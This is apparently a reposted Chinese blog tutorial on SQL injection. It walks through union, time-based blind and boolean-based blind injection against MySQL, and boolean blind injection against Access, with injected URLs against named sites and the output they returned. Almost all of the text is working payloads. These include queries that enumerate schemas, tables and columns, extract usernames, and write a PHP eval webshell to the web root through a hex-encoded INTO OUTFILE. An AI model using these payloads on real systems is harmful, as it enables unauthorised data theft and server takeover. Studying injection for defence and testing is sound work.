【Web漏洞】SQL注入

目录

Mysql注入

union query(union联合查询)

time-based blind(基于时间的盲注)

boolean-based blind(基于布尔型盲注)

Access注入

boolean-based blind(基于布尔型盲注)


Mysql注入

union query(union联合查询)

1、回显正确

http://www.dandelion.com/about.php?id=15' and 1=1 --+

2、回显错误,断定存在注入,并确认payload

http://www.dandelion.com/about.php?id=15' and 1=2 --+

3、回显错误,字段小于9

http://www.dandelion.com/about.php?id=15' order by 9 --+

4、回显正确,字段长度为8(凡是小于等于正确字段长度都会回显正确)

http://www.dandelion.com/about.php?id=15' order by 8 --+

5、将参数改为负值(清空页面输出),并构造联合查询

http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,5,6,7,8 --+
  • 输出:5

6、查询用户名,当前数据库名,当前数据库版本,数据库路径,操作系统类型

http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,concat_ws('*****',user(),database(),version(),@@datadir,@@version_compile_os),6,7,8 --+
  • 输出:dandelion_f@localhost*****dandelion*****5.5.42*****/var/lib/mysql/*****Linux

注:函数concat_ws(str1,str2,str3)的作用为,用str1把str2和str3分隔输出

7、查询所有数据库名

http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(schema_name),6,7,8 from information_schema.schemata --+
  • 输出:information_schema,dandelion 

注:函数group_concat(str1)的作用为,一次性输出属于str1的内容

8、查询表名

http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(table_name),6,7,8 from information_schema.tables where table_schema='dandelion'--+
  • 输出:about_class,about_info,ad_flash,hits,message,news_class,news_info,product_class,product_info,qq,seocn_msg,share_info,survey,tp_admin

9、查询字段名

http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(column_name),6,7,8 from information_schema.columns where table_name='about_class' --+
  • 输出:id,c_name,c_order

10、查询数据

http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(concat_ws('*****',id,c_name,c_order)),6,7,8 from about_class --+
  • 输出:1*****关于我们*****0,2*****解决方案*****0
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,concat_ws('*****',id,c_name,c_order),6,7,8 from about_class limit 1,1 --+
  • 输出:2*****解决方案*****0

注:函数limit int1,int2的作用为,输出位置int1开始的后int2行数据

11、写入webshell

http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,0x73656c65637420223c3f70687020406576616c28245f504f53545b27313233275d293b3f3e2220696e746f206f757466696c652022433a5c5c7777775c5c7765627368656c6c2e70687022,6,7,8 --+
  • 输出:select "" into outfile "C:\www\webshell.php"

time-based blind(基于时间的盲注)

1、测试是否存在时间注入,存在则延迟响应,大概为2s+,否则少于1s

http://www.dandelion.com/about.php?id=15 and sleep(2) --+
  • 响应时间:455ms未闭合导致注入错误
http://www.dandelion.com/about.php?id=15' and sleep(2) --+
  • 响应时间:2.10s注入成功

2、猜测数据库名长度,经测试无法使用不等符号

http://www.dandelion.com/about.php?id=15' and sleep(if(length(database())=9,2,0)) --+
  • 响应时间:2.45s

3、猜测数据库名第一个字符

http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr(database(),1,1))=100,2,0)) --+
  • 响应时间:2.89s,类推可以测出数据库名为dandelion

注:函数substr(str1,int1,int2)的作用为,输出str1从int1位置开始的后int2个字符

4、猜测第一个表名的长度

http://www.dandelion.com/about.php?id=15' and sleep(if(length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))=11,2,0)) --+
  • 响应时间:2.55s

注:含limit的整个语句(就算已经被某个函数括起来)最好单独加个括号括起来,否则有时候会和执行失败

5、猜测第一个表名的第一个字符

http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))=97,2,0)) --+
  • 响应时间:2.66s,类推可以测出表名为about_class

6、猜测第一列列名的长度

http://www.dandelion.com/about.php?id=15' and sleep(if(length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))=2,2,0)) --+
  • 响应时间:2.96s

7、猜测第一列列名的第一个字符

http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))=105,2,0)) --+
  • 响应时间:2.97s,类推可以测出列名为id

8、猜测第一行数据的长度

http://www.dandelion.com/about.php?id=15' and sleep(if(length((select id from about_class limit 0,1))=1,2,0)) --+
  • 响应时间:2.88s

9、猜测第一行数据的第一个字符

http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select id from about_class limit 0,1),1,1))=49,2,0)) --+
  • 响应时间:2.93s,类推可以测出值为1

boolean-based blind(基于布尔型盲注)

1、判断是否存在注入,以及payload

http://www.dandelion.com/about.php?id=15' and 1=1 --+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and 1=2 --+
  • 是否回显数据:

2、判断数据库长度

http://www.dandelion.com/about.php?id=15' and length(database())>8 --+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and length(database())>9 --+
  • 是否回显数据:,得出数据库长度为 9

3、判断数据库第一个字符

http://www.dandelion.com/about.php?id=15' and ascii(substr(database(),1,1))>99 --+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and ascii(substr(database(),1,1))>100 --+
  • 是否回显数据:,得出数据库第一个字符为 d ,类推可知数据库名为 dandelion

4、判断第一个表名长度

http://www.dandelion.com/about.php?id=15' and length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))>11 --+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))>10 --+
  • 是否回显数据:是,得出第一个表名长度为 11

5、判断第一个表名第一个字符

http://www.dandelion.com/about.php?id=15' and ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))>97 --+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))>96 --+
  • 是否回显数据:,得出第一个表名第一个字符为 a ,类推可知表名为 about_class

6、判断第一列列名长度

http://www.dandelion.com/about.php?id=15' and length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))>2--+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))>1--+
  • 是否回显数据:,得出第一列列名长度为 2

7、判断第一列列名第一个字符

http://www.dandelion.com/about.php?id=15' and ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))>105 --+
  • 是否回显数据:
www.dandelion.com/about.php?id=15' and ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))>104 --+
  • 是否回显数据:,得出第一列列名第一个字符为 i ,类推可知第一列列名为 id

8、判断id列第一行数据的长度

http://www.dandelion.com/about.php?id=15' and length((select id from about_class limit 0,1))>0 --+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and length((select id from about_class limit 0,1))>1 --+
  • 是否回显数据:,得出id列第一行数据的长度为 1

9、判断id列第一行数据的第一个字符

http://www.dandelion.com/about.php?id=15' and ascii(substr((select id from about_class limit 0,1),1,1))>48 --+
  • 是否回显数据:
http://www.dandelion.com/about.php?id=15' and ascii(substr((select id from about_class limit 0,1),1,1))>49 --+
  • 是否回显数据:,得出id列第一行数据的值为 1

Access注入

boolean-based blind(基于布尔型盲注)

1、判断存在注入及确定payload
 

http://www.liang.com/products_detail.asp?id=1762 and 1=1
  • 返回状态码:200
     
http://www.liang.com/products_detail.asp?id=1762 and 1=2
  • 返回状态码:500

2、猜表名

http://www.liang.com/products_detail.asp?id=1762 and exists(select * from liang)
  • 返回状态码:200,得出表名为 liang

3、猜列名

http://www.liang.com/products_detail.asp?id=1762 and exists(select username from liang)
  • 返回状态码:200
     
http://www.liang.com/products_detail.asp?id=1762 and exists(select password from liang)
  • 返回状态码:200,得出列名有 username,password

4、猜列username中第一行数据的值的长度

http://www.liang.com/products_detail.asp?id=1762 and (select top 1 len(username) from liang)=5
  • 返回状态码:200,列username中第一行数据的值的长度为 5

5、猜列username中第一行数据的值的第一个字符

http://www.liang.com/products_detail.asp?id=1762 and(select top 1 asc(mid(username,1,1)) from liang)=97
  • 返回状态码:200,列username中第一行数据的值的第一个字符为 a,类推可知值为 admin

注:函数asc()与mysql中ascii()作用相同,mid()与mysql中substr()作用相同

发布了33 篇原创文章 · 获赞 2 · 访问量 1432

猜你喜欢

转载自blog.csdn.net/qq_34965596/article/details/103921336